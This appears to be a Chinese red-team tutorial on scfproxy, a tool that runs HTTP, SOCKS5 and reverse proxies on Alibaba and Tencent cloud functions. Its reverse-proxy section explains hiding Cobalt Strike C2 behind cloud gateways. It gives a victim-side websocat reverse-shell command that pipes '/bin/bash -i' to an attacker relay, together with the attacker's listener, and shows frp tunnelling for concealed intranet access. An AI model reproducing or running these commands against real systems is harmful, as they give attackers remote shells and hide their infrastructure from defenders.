作者 修订时间
wjlin0 2024-01-12 00:01:36

使用云函数做代理

什么是云函数

云函数 (Serverless Cloud Function,SCF) 是腾讯云为企业和开发者们提供的无服务器执行环境。无服务器并非真的没有服务器,而是说用户无需购买服务器,无需关心服务器 CPU、内存、网络配置、资源维护、代码部署、弹性伸缩、负载均衡、安全升级、资源运行情况监控等,也就是说不用专门安排人力 做这些,只需专注于代码编写并上传即可。很大程度上降低了研发门槛,提升业务构建效率

基于的工具

HTTP 代理

原理和实现

这是最为简单的利用方式。主要原理在于:

  1. 云函数可利用 API 网关触发器进行触发,接受来自客户端的数据
  2. 可以对外发包,类似于一个 SSRF

因此一个 HTTP Proxy 的实现思路就很简单了。客户端挂上代理发送数据包,HTTP 代理服务器拦截数据包,提取 HTTP 报文相关信息,然后将报文以某种形式 POST 到云函数进行解析,云函数根据解析到的信息对目标发起请求,最终将结果一层一层返回。

流程如图所示:

image-20221223141456899

部署

scfproxy deploy http -p provider_list -r region_list

provider_listregion_list 传入的参数列表以 , 分隔。

region_list 支持如下 4 种形式(在所有 deployclear 命令上都支持)

  • * 表示所有区域
  • area-* 表示该 area 区域支持的所有地区
  • are-num 表示该 area 区域支持的前 num 个地区(代码硬编码顺序返回)
  • 标准形式,即云厂商所提供的标准 region 形式

对于提供多个 provider 的情况下,将对每个 provider 进行上述 region 形式的解析与查找,不存在的 region 将被忽略

例子:

scfproxy deploy http -p alibaba,tencent -r ap-1,eu-*,cn-shanghai

通过 scfproxy list -p alibaba,tencent 可以查看到所有的 region,上面这条命令的执行结果为

  1. alibaba 上部署 ap-northeast-1, eu-central-1, eu-west-1, cn-shanghai 区域的 http 代理
  2. tencent 上部署 ap-beijing 区域的 http 代理

运行

scfproxy http -l port [-c cert_path] [-k key_path]

首次运行会在 ~/.confg/scfproxy/cert 目录生成 scfproxy.cerscfproxy.key 证书,需要将其导入系统证书并信任才可以代理 https 请求。

清理

scfproxy clear http -p provider_list -r region_list [--completely]

清理功能默认只会删除触发器,如需同时删除函数,需添加 -e/--completely 参数

例子

本次案例使用的是阿里云

获取key

image-20221223134859998

首次运行

配置 云的key,这里演示的是阿里云

scfproxy && vim /root/.config/scfproxy/sdk.toml

image-20221222221832761

部署 http api

./scfproxy deploy http -p alibaba -r eu-*

image-20221222221636085

查看部署是否成功

./scfproxy list http

image-20221222221709180

运行

./scfproxy http -l 0.0.0.0:1234

image-20221222222024780

注意:若有自己常用的证书可以指定证书路径

./scfproxy http -l 0.0.0.0:1234 -c /root/backer/ssl/proxy.wjlin0.com.cer -k /root/backer/ssl/proxy.wjlin0.com.key

image-20221222223511647

安装证书

双击证书 -> 安装证书

image-20221223135148342

验证

配置SwitchyOmega

image-20221223140912091

访问 https://ifconfig.me/

image-20221223135852257

清理

./scfproxy list http
./scfproxy clear http -p alibaba -r eu-* && ./scfproxy clear http -p alibaba -r eu-* --completely
./scfproxy list http

image-20221223140334555

SOCKS5 代理

原理和实现

正常 SOCKS5 代理请求的流程为服务端监听来自客户端的事件,每当客户端发起一个新的连接,服务端生成一个 socket A,并从数据包中解析出目标服务器的地址和端口,在本地对目标发起一个 socket 连接 B,同步两个 socket 的 IO 操作。

SOCKS5主要分为下面3个步骤:

1.认证:对客户端发起的连接进行认证

2.建立连接:从客户端发起的连接中读取数据,获得目标服务器地址,并建立连接

3.转发数据:分别将来自客户端、服务器的数据转发给对方

使用云函数建立连接的方式,我们需要的不再是对外主动发起连接,而是监听一个端口,等待云函数发 起连接,为了让云函数发起连接,我们需要主动对云函数的API网关发起请求,触发云函数的执行,并将 目标服务器信息附在POST数据包中。相关的流程图如下

img

部署

scfproxy deploy socks -p provider_list -r region_list -a address [-k key] --auth [user:pass]

-a address 用于指定云函数回连的 vps 地址

-k key 用于连接后进行验证

--auth [user:pass] 用于指定 socks 认证信息,默认无认证

运行

scfproxy socks -l socks_port -s scf_port -k key

-l socks_port 监听 socks_port,等待用户的 socks5 连接

-s scf_port 监听 scf_port,等待来自云函数的连接,需要部署命令中 address 参数的端口一致

-k key 用于验证,需与部署命令中的 key 对应

清理

scfproxy clear socks -p provider_list -r region_list [--completely]

因为 socks 代理创建的为 1m 的定时触发器,且函数超时时间较长为避免不必要的浪费,建议在监听到来自云函数的连接后清理触发器,在使用完毕后使用 -e 参数彻底清理函数。

例子

获取key

image-20221223134859998

首次运行

配置 云的key,这里演示的是阿里云

scfproxy && vim /root/.config/scfproxy/sdk.toml

image-20221222221832761

部署 socks api

# 有点慢,耐心等一分钟
./scfproxy deploy socks -p alibaba -r eu-* -a 119.13.81.145:12345 -k abc12345

image-20221222225408223

验证是否创建成功

./scfproxy list socks

运行

./scfproxy socks -l 1234 -s 12345 -k abc12345

image-20221222225645289

安装证书

双击证书 -> 安装证书

image-20221223135148342

验证

配置SwitchyOmega

image-20221223140744276

访问https://ifconfig.me/

image-20221223140831662

清理

./scfproxy list socks
./scfproxy clear socks -p alibaba -r eu-* && ./scfproxy clear socks -p alibaba -r eu-* --completely
./scfproxy list socks

image-20221222225738880

反向代理

部署

scfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list]

-o origin 用于指定需要用于反向代理的回源地址,可接受 HTTP 及 Websocket 协议。

--ip ip_list 用于限制访问来源,只有 ip_list 中的 ip 才能访问部署返回的反向代理网关地址。

使用场景

基于反向代理可有如下使用方法,

C2 隐藏

以 cobaltstrike 为例,只需将 api 的域名填入 listener 的 host

scfproxy deploy reverse ... -o http://vps --ip victim

cs.png

反弹 shell 地址隐藏

借助 websocat 工具可实现反弹 shell 的功能。

scfproxy deploy reverse ... -o ws://vps --ip victim

受害者端执行:

websocat ws://reverse_proxy_address  sh-c:'/bin/bash -i 2>&1' --binary -v --compress-zlib

攻击者 vps 执行:

websocat ws-l:0.0.0.0:port - --binary -E --uncompress-zlib

效果如图: reverse_shell.png

内网穿透地址隐藏

该使用场景需要支持 websocket 协议的内网穿透软件。

scfproxy deploy reverse ... -o ws://vps --ip victim

以 frp 代理 SOCKS 为例,客户端配置:

[common]
server_addr = reverse_proxy_domain
server_port = 80
tls_enable = true 
protocol = websocket

[plugin_sock5]
type = tcp
remote_port = 8080
plugin = socks5
use_encryption = true
use_compression = true

效果如图

frp

清理

scfproxy clear http -p provider_list -r region_list -o origin

与 HTTP 及 SOCKS 代理不同,反向代理没有 --completely 参数,但需要指定 origin 参数用于定位需要删除的服务

参考

results matching ""

    No results matching ""